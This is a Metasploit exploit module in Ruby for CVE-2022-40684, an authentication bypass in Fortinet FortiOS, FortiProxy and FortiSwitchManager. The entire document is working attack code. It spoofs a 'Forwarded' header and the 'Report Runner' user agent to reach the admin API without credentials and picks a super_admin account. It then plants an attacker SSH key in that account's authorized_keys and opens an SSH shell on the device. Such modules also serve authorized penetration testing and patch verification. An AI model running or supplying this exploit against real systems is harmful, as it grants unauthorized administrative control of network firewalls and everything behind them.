Fortinet FortiOS / FortiProxy / FortiSwitchManager Authentication Bypass

### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote  Rank = ExcellentRanking  include Msf::Exploit::Remote::HttpClient  include Msf::Exploit::Remote::SSH  prepend Msf::Exploit::Remote::AutoCheck  attr_accessor :ssh_socket  def initialize(info = {})    super(      update_info(        info,        'Name' => 'Fortinet FortiOS, FortiProxy, and FortiSwitchManager authentication bypass.',        'Description' => %q{          This module exploits an authentication bypass vulnerability          in the Fortinet FortiOS, FortiProxy, and FortiSwitchManager API          to gain access to a chosen account. And then add a SSH key to the          authorized_keys file of the chosen account, allowing          to login to the system with the chosen account.          Successful exploitation results in remote code execution.        },        'Author' => [          'Heyder Andrade <@HeyderAndrade>', # Metasploit module          'Zach Hanley <@hacks_zach>', # PoC        ],        'References' => [          ['CVE', '2022-40684'],          ['URL', 'https://www.fortiguard.com/psirt/FG-IR-22-377'],          ['URL', 'https://www.horizon3.ai/fortios-fortiproxy-and-fortiswitchmanager-authentication-bypass-technical-deep-dive-cve-2022-40684'],        ],        'License' => MSF_LICENSE,        'DisclosureDate' => '2022-10-10', # Vendor advisory        'Platform' => ['unix', 'linux'],        'Arch' => [ARCH_CMD],        'Privileged' => true,        'Targets' => [          [            'FortiOS',            {              'DefaultOptions' => {                'PAYLOAD' => 'generic/ssh/interact'              },              'Payload' => {                'Compat' => {                  'PayloadType' => 'ssh_interact'                }              }            }          ]        ],        'DefaultTarget' => 0,        'DefaultOptions' => {          'RPORT' => 443,          'SSL' => true        },        'Notes' => {          'Stability' => [CRASH_SAFE],          'Reliability' => [REPEATABLE_SESSION],          'SideEffects' => [            IOC_IN_LOGS,            ARTIFACTS_ON_DISK # SSH key is added to authorized_keys file          ]        }      )    )    register_options(      [        OptString.new('TARGETURI', [true, 'The base path to the Fortinet CMDB API', '/api/v2/cmdb/']),        OptString.new('USERNAME', [false, 'Target username (Default: auto-detect)', nil]),        OptString.new('PRIVATE_KEY', [false, 'SSH private key file path', nil]),        OptString.new('KEY_PASS', [false, 'SSH private key password', nil]),        OptString.new('SSH_RPORT', [true, 'SSH port to connect to', 22]),        OptBool.new('PREFER_ADMIN', [false, 'Prefer to use the admin user if one is detected', true])      ]    )  end  def username    if datastore['USERNAME']      @username ||= datastore['USERNAME']    else      @username ||= detect_username    end  end  def ssh_rport    datastore['SSH_RPORT']  end  def current_keys    @current_keys ||= read_keys  end  def ssh_keygen    # ssh-keygen -t rsa -m PEM -f `openssl rand -hex 8`    if datastore['PRIVATE_KEY']      @ssh_keygen ||= Net::SSH::KeyFactory.load_data_private_key(        File.read(datastore['PRIVATE_KEY']),        datastore['KEY_PASS'],        datastore['PRIVATE_KEY']      )    else      @ssh_keygen ||= OpenSSL::PKey::EC.generate('prime256v1')    end  end  def ssh_private_key    ssh_keygen.to_pem  end  def ssh_pubkey    Rex::Text.encode_base64(ssh_keygen.public_key.to_blob)  end  def authorized_keys    pubkey = Rex::Text.encode_base64(ssh_keygen.public_key.to_blob)    "#{ssh_keygen.ssh_type} #{pubkey} #{username}@localhost"  end  def fortinet_request(params = {})    send_request_cgi(      {        'ctype' => 'application/json',        'agent' => 'Report Runner',        'headers' => {          'Forwarded' => "for=\"[127.0.0.1]:#{rand(1024..65535)}\";by=\"[127.0.0.1]:#{rand(1024..65535)}\""        }      }.merge(params)    )  end  def check    vprint_status("Checking #{datastore['RHOST']}:#{datastore['RPORT']}")    # a normal request to the API should return a 401    res = send_request_cgi({      'method' => 'GET',      'uri' => normalize_uri(target_uri.path, Rex::Text.rand_text_alpha_lower(6)),      'ctype' => 'application/json'    })    return CheckCode::Unknown('Target did not respond to check.') unless res    return CheckCode::Safe('Target seems not affected by this vulnerability.') unless res.code == 401    # Trying to bypasss the authentication and get the sshkey from the current targeted user it should return a 200 if vulnerable    res = fortinet_request({      'method' => 'GET',      'uri' => normalize_uri(target_uri.path, '/system/status')    })    return CheckCode::Safe unless res&.code == 200    version = res.get_json_document['version']    print_good("Target is running the version #{version}, which is vulnerable.")    Socket.tcp(rhost, ssh_rport, connect_timeout: datastore['SSH_TIMEOUT']) { |sock| return CheckCode::Safe('However SSH is not open, so adding a ssh key wouldn\t give you access to the host.') unless sock }    CheckCode::Vulnerable('And SSH is running which makes it exploitable.')  end  def cleanup    return unless ssh_socket    # it assumes our key is the last one and set it to a random text. The API didn't respond to DELETE method    data = {      "ssh-public-key#{current_keys.empty? ? '1' : current_keys.size}" => '""'    }    fortinet_request({      'method' => 'PUT',      'uri' => normalize_uri(target_uri.path, '/system/admin/', username),      'data' => data.to_json    })  end  def detect_username    vprint_status('User auto-detection...')    res = fortinet_request(      'method' => 'GET',      'uri' => normalize_uri(target_uri.path, '/system/admin')    )    users = res.get_json_document['results'].collect { |e| e['name'] if (e['accprofile'] == 'super_admin' && e['trusthost1'] == '0.0.0.0 0.0.0.0') }.compact    # we prefer to use admin, but if it doesn't exist we chose a random one.    if datastore['PREFER_ADMIN']      vprint_status("PREFER_ADMIN is #{datastore['PREFER_ADMIN']}, but if it isn't found we will pick a random one.")      users.include?('admin') ? 'admin' : users.sample    else      vprint_status("PREFER_ADMIN is #{datastore['PREFER_ADMIN']}, we will get a random that is not the admin.")      (users - ['admin']).sample    end  end  def add_ssh_key    if current_keys.include?(authorized_keys)      # then we'll remove that on cleanup      print_good('Your key is already in the authorized_keys file')      return    end    vprint_status('Adding SSH key to authorized_keys file')    # Adding the SSH key as the last entry in the authorized_keys file    keystoadd = current_keys.first(2) + [authorized_keys]    data = keystoadd.map.with_index { |key, idx| ["ssh-public-key#{idx + 1}", "\"#{key}\""] }.to_h    res = fortinet_request({      'method' => 'PUT',      'uri' => normalize_uri(target_uri.path, '/system/admin/', username),      'data' => data.to_json    })    fail_with(Failure::UnexpectedReply, 'Failed to add SSH key to authorized_keys file.') unless res&.code == 500    body = res.get_json_document    fail_with(Failure::UnexpectedReply, 'Unexpected reponse from the server after adding the key.') unless body.key?('cli_error') && body['cli_error'] =~ /SSH key is good/  end  def read_keys    vprint_status('Reading SSH key from authorized_keys file')    res = fortinet_request({      'method' => 'GET',      'uri' => normalize_uri(target_uri.path, '/system/admin/', username)    })    fail_with(Failure::UnexpectedReply, 'Failed read current SSH keys') unless res&.code == 200    result = res.get_json_document['results'].first    ['ssh-public-key1', 'ssh-public-key2', 'ssh-public-key3'].map do |key|      result[key].gsub('"', '') unless result[key].empty?    end.compact  end  def do_login(ssh_options)    # ensure we don't have a stale socket hanging around    ssh_options[:proxy].proxies = nil if ssh_options[:proxy]    begin      ::Timeout.timeout(datastore['SSH_TIMEOUT']) do        self.ssh_socket = Net::SSH.start(rhost, username, ssh_options)      end    rescue Rex::ConnectionError      fail_with(Failure::Unreachable, 'Disconnected during negotiation')    rescue Net::SSH::Disconnect, ::EOFError      fail_with(Failure::Disconnected, 'Timed out during negotiation')    rescue Net::SSH::AuthenticationFailed      fail_with(Failure::NoAccess, 'Failed authentication')    rescue Net::SSH::Exception => e      fail_with(Failure::Unknown, "SSH Error: #{e.class} : #{e.message}")    end    fail_with(Failure::Unknown, 'Failed to start SSH socket') unless ssh_socket  end  def exploit    print_status("Executing exploit on #{datastore['RHOST']}:#{datastore['RPORT']} target user: #{username}")    add_ssh_key    vprint_status('Establishing SSH connection')    ssh_options = ssh_client_defaults.merge({      auth_methods: ['publickey'],      key_data: [ ssh_private_key ],      port: ssh_rport    })    ssh_options.merge!(verbose: :debug) if datastore['SSH_DEBUG']    do_login(ssh_options)    handler(ssh_socket)  endend